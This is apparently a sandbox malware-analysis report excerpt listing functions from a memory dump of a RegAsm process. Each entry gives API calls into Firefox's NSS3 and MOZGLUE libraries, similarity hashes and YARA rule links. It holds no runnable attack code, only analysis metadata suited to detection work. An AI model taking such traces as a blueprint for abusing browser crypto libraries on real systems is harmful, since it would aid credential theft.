Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: ee0ae18d495e4d4c7627a6cb6774cb1e04fdec7f658b2e864d6699b37754336b
Instruction ID: e0a4cf27878c06b1f794b80b88a3de7e184d4d1a82d67928a1fe8c351ebdafb7
Opcode Fuzzy Hash: ee0ae18d495e4d4c7627a6cb6774cb1e04fdec7f658b2e864d6699b37754336b
Instruction Fuzzy Hash: EF217C72A08605DFDB00AF39D484299BBF8FF48314F0145ADE89897761DB38E851CBD2

Function 6C028970 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,6BFD61C4,?,6BFD5639,00000000), ref: 6C028991
TlsGetValue.KERNEL32(?,?,?,?,?,6BFD5639,00000000), ref: 6C0289AD
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6BFD5639,00000000), ref: 6C0289C6
PR_WaitCondVar.NSS3 ref: 6C0289F7
PR_Unlock.NSS3(?,?,?,?,?,?,?,6BFD5639,00000000), ref: 6C028A0C

Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07AD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07CD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07D6
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6BF5204A), ref: 6BFC07E4
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,6BF5204A), ref: 6BFC0864
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BFC0880
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6BF5204A), ref: 6BFC08CB
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08D7
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08FB

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: 7075fa6ae930cb4a01fddb40f33ca9e18c664f19e1ba6f9a9c83a63f8117b3d7
Instruction ID: e910f96d5234935ae6ce1a9719dfc5c8f999063025dfbe43005df7f208edc2db
Opcode Fuzzy Hash: 7075fa6ae930cb4a01fddb40f33ca9e18c664f19e1ba6f9a9c83a63f8117b3d7
Instruction Fuzzy Hash: 5E2171B99047068FDB00AF78C4852AAB7F4FF06318F154666DC9897601EB34D495CB92

Function 6C028800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C03085A,00000000,?,6BFD8369,?), ref: 6C028821
TlsGetValue.KERNEL32(?,?,6C03085A,00000000,?,6BFD8369,?), ref: 6C02883D
EnterCriticalSection.KERNEL32(?,?,?,6C03085A,00000000,?,6BFD8369,?), ref: 6C028856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C028887
PR_Unlock.NSS3(?,?,?,?,6C03085A,00000000,?,6BFD8369,?), ref: 6C028899

Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07AD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07CD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07D6
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6BF5204A), ref: 6BFC07E4
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,6BF5204A), ref: 6BFC0864
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BFC0880
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6BF5204A), ref: 6BFC08CB
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08D7
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08FB

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: ec64634aa4b0ecec1a9f9a319f577408f502267c791a6024580c3eecf5c9654a
Instruction ID: 654d552f3e4adeb8481537df56bdd7a579e74391c4c1675bdbc178f2cbeb694b
Opcode Fuzzy Hash: ec64634aa4b0ecec1a9f9a319f577408f502267c791a6024580c3eecf5c9654a
Instruction Fuzzy Hash: D2215EBAA04606DFDB00AF78C48426AB7F4FF45308F10466ADD9897611EB38D495CB92

Function 6BFC09E0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,6BFC06A2,00000000,?), ref: 6BFC09F8
malloc.MOZGLUE(0000001F), ref: 6BFC0A18
memcpy.VCRUNTIME140(?,?,00000001), ref: 6BFC0A33

Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07AD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07CD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07D6
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6BF5204A), ref: 6BFC07E4
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,6BF5204A), ref: 6BFC0864
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BFC0880
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6BF5204A), ref: 6BFC08CB
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08D7
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08FB

PR_Free.NSS3(?), ref: 6BFC0A6C
PR_Free.NSS3(?), ref: 6BFC0A87

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$Freecalloc$mallocmemcpy
String ID:
API String ID: 207547555-0
Opcode ID: 88ca36498cbe64da848475544e84dff36dbda5c7c96f9372e6fd911a547361db
Instruction ID: b07e68d61fbf9c1699233b2ff1b6b052dc9a63461900b338839dfbadd7e6403b
Opcode Fuzzy Hash: 88ca36498cbe64da848475544e84dff36dbda5c7c96f9372e6fd911a547361db
Instruction Fuzzy Hash: 2111E4F7900B039BEB109F39D985753B3A8BF41758F406928D85E42A20E779F4D5CB92

Function 6BFE8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6BFF0710), ref: 6BFE8FF1
PR_CallOnce.NSS3(6C132158,6BFE9150,00000000,?,?,?,6BFE9138,?,6BFF0710), ref: 6BFE9029
calloc.MOZGLUE(00000001,00000000,?,?,6BFF0710), ref: 6BFE904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6BFF0710), ref: 6BFE9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6BFF0710), ref: 6BFE9078

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 21e3e81dc6ea2e4096628101385e93b3f16cba4aadb91fe782d9e0527e60d300
Instruction ID: b617c610f0f435a9aee568455f4754ded7846fddf2af893d50ee15d62d6f32f8
Opcode Fuzzy Hash: 21e3e81dc6ea2e4096628101385e93b3f16cba4aadb91fe782d9e0527e60d300
Instruction Fuzzy Hash: 3111086370011177E720167DAC04A7633A8DB827A8F804035FE98C6666FB69ED5793B1

Function 6BFFCD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C011E10: TlsGetValue.KERNEL32 ref: 6C011E36
Part of subcall function 6C011E10: EnterCriticalSection.KERNEL32(?,?,?,6BFEB1EE,2404110F,?,?), ref: 6C011E4B
Part of subcall function 6C011E10: PR_Unlock.NSS3 ref: 6C011E76

free.MOZGLUE(?,6BFFD079,00000000,00000001), ref: 6BFFCDA5
PK11_FreeSymKey.NSS3(?,6BFFD079,00000000,00000001), ref: 6BFFCDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6BFFD079,00000000,00000001), ref: 6BFFCDCF
DeleteCriticalSection.KERNEL32(?,6BFFD079,00000000,00000001), ref: 6BFFCDE2
free.MOZGLUE(?), ref: 6BFFCDE9

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 745ad868c5ba3281a14208f4c287e1c24678cc075dc18fb6d184068c533e7d8b
Instruction ID: 0c0a1145fee87602f5c7527ec57ae688a169d15dc366e3173de7d92ae1b19dbc
Opcode Fuzzy Hash: 745ad868c5ba3281a14208f4c287e1c24678cc075dc18fb6d184068c533e7d8b
Instruction Fuzzy Hash: 2D11C2B7B00111BBEF009FA4EC45A9AB76DFF042647000161EA1987A21E73AF475C7E1

Function 6C062CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C065B40: PR_GetIdentitiesLayer.NSS3 ref: 6C065B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C062CEC

Part of subcall function 6C07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C07C2BF

PR_EnterMonitor.NSS3(?), ref: 6C062D02
PR_EnterMonitor.NSS3(?), ref: 6C062D1F
PR_ExitMonitor.NSS3(?), ref: 6C062D42
PR_ExitMonitor.NSS3(?), ref: 6C062D5B

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 7f1d55c1ef1a912c42003acbcb4a0c492ec8dfcf6cd3b1d63255a7855ff69d77
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 7E01C4B5A002009FEB309E26FC40BC7B7E1EF45318F004525E95D87B21E632F9159792

Function 6C062D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C065B40: PR_GetIdentitiesLayer.NSS3 ref: 6C065B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C062D9C

Part of subcall function 6C07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C07C2BF

PR_EnterMonitor.NSS3(?), ref: 6C062DB2
PR_EnterMonitor.NSS3(?), ref: 6C062DCF
PR_ExitMonitor.NSS3(?), ref: 6C062DF2
PR_ExitMonitor.NSS3(?), ref: 6C062E0B

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: af724e4fcd8dffb14735f45fdbd14ec82d3d4885eb959a6d3b7d904f303c28d2
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: A101A1B5A002005FEA309E2AFC05BC7B7E1EF45318F004435E85E87F21D632F82596A2

Function 6BFFAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6BFE3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6BFFAE42), ref: 6BFE30AA
Part of subcall function 6BFE3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6BFE30C7
Part of subcall function 6BFE3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6BFE30E5
Part of subcall function 6BFE3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6BFE3116
Part of subcall function 6BFE3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6BFE312B
Part of subcall function 6BFE3090: PK11_DestroyObject.NSS3(?,?), ref: 6BFE3154
Part of subcall function 6BFE3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BFE317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6BFD99FF,?,?,?,?,?,?,?,?,?,6BFD2D6B,?), ref: 6BFFAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6BFD99FF,?,?,?,?,?,?,?,?,?,6BFD2D6B,?), ref: 6BFFAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6BFD2D6B,?,?,00000000), ref: 6BFFAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6BFD2D6B,?,?,00000000), ref: 6BFFAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6BFD2D6B,?,?), ref: 6BFFAEA3

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: a1e4b1f13121b133a093f45c0fccf9089ca9e64ec8e2bf2554f4f4d4f9d23f58
Instruction ID: 3e70cfae58f3acc55a3c713f6eb104db1c669ac7e160857457d9d005597ff981
Opcode Fuzzy Hash: a1e4b1f13121b133a093f45c0fccf9089ca9e64ec8e2bf2554f4f4d4f9d23f58
Instruction Fuzzy Hash: 05018667B4491067E711537EEC82AAB31EE8B87A9CB080171E915D7331F62ED90742A2

Function 6C0749C0 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(000A2CD6,00000000,00000000,00000678,?,?,6C065F34,00000A20), ref: 6C0749EC

Part of subcall function 6C02FAB0: free.MOZGLUE(?,-00000001,?,?,6BFCF673,00000000,00000000), ref: 6C02FAC7

SECITEM_ZfreeItem_Util.NSS3(000A2CEA,00000000,6C065F34,00000A20,?,?,?,?,?,?,?,?,?,6C06AAD4), ref: 6C0749F9
SECITEM_ZfreeItem_Util.NSS3(000A2CBE,00000000,?,?,6C065F34,00000A20,?,?,?,?,?,?,?,?,?,6C06AAD4), ref: 6C074A06
free.MOZGLUE(?,?,?,?,?,6C065F34,00000A20), ref: 6C074A16
free.MOZGLUE(000A2CB6,?,?,?,?,6C065F34,00000A20), ref: 6C074A1C

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Item_UtilZfreefree
String ID:
API String ID: 2193358613-0
Opcode ID: 3d60f538e8f99a1bfa6cef1eb5cac7c61eaf790a520e1afeb5f4edf0a9bfd151
Instruction ID: a6250715e53444cbf99e8394ec0ab235afefa3bc239d3a9148f6d8371bf27ed4
Opcode Fuzzy Hash: 3d60f538e8f99a1bfa6cef1eb5cac7c61eaf790a520e1afeb5f4edf0a9bfd151
Instruction Fuzzy Hash: 9A015AB6A00114AFCB00CF69DCC5D967BFCEF8A24870580A5E909CB702E731E908CBB1

Function 6C0E0930 Relevance: 7.5, APIs: 5, Instructions: 45fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,6C0E0C83), ref: 6C0E094F
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C0E0C83), ref: 6C0E0974
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C0E0983
_PR_MD_UNLOCK.NSS3(?,?,6C0E0C83), ref: 6C0E099F
OutputDebugStringA.KERNEL32(?,?,6C0E0C83), ref: 6C0E09B2

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CriticalDebugEnterOutputSectionStringfflushfwrite
String ID:
API String ID: 1872382454-0
Opcode ID: 960f9cea501ccea676581da8ac39047463d8ce4631afcf940039081c1214c1d4
Instruction ID: c82275685f58a147886e17ff43dbbfe1b0d9d4ce661de2a30948074968dde4d1
Opcode Fuzzy Hash: 960f9cea501ccea676581da8ac39047463d8ce4631afcf940039081c1214c1d4
Instruction Fuzzy Hash: 92016DF83451409FEF20AFA8C855B553BF9AB4631CF280509F84983362DAB5E492EA11

Function 6C0E2A40 Relevance: 7.5, APIs: 5, Instructions: 41stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C0E2A5B
free.MOZGLUE(?), ref: 6C0E2A6D
strdup.MOZGLUE(?), ref: 6C0E2A7B
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C0E2A96
PR_ExitMonitor.NSS3 ref: 6C0E2AB5

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterErrorExitfreestrdup
String ID:
API String ID: 1948362043-0
Opcode ID: bed400645f12213f8bcc8c090c427851daca351d116e35d5582957fdb6a12475
Instruction ID: 25cedf5df79aa9086226632035967033d1f995219208fa597553bdefe54b7b31
Opcode Fuzzy Hash: bed400645f12213f8bcc8c090c427851daca351d116e35d5582957fdb6a12475
Instruction Fuzzy Hash: 1FF0D1F6B405319BDA30ABA0AC0AB4A37F4AB0169CF190130D80C93601E775D819D6D2

Function 6C0EADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C0EA6D8), ref: 6C0EAE0D
free.MOZGLUE(?), ref: 6C0EAE14
DeleteCriticalSection.KERNEL32(6C0EA6D8), ref: 6C0EAE36
free.MOZGLUE(?), ref: 6C0EAE3D
free.MOZGLUE(00000000,00000000,?,?,6C0EA6D8), ref: 6C0EAE47

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: a7e68fd2c09910f4e346397c4a896560f1d7910a234a9c0ed9d79f2d932dd03d
Instruction ID: cdacdc5a3c0e7612df0c2b5697e121036dcbcef4d8fce845ad75be509606b091
Opcode Fuzzy Hash: a7e68fd2c09910f4e346397c4a896560f1d7910a234a9c0ed9d79f2d932dd03d
Instruction Fuzzy Hash: 64F0F679201A01BBDA00DF68D809A577BBCBF8A7747200328E23A83B40E735E051D7D1

Function 6BF64AC0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000B2F5), ref: 6BF64C2B

Strings

winWrite1, xrefs: 6BF64BC2
winWrite2, xrefs: 6BF64C01
delayed %dms for lock/sharing conflict at line %d, xrefs: 6BF64C24

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
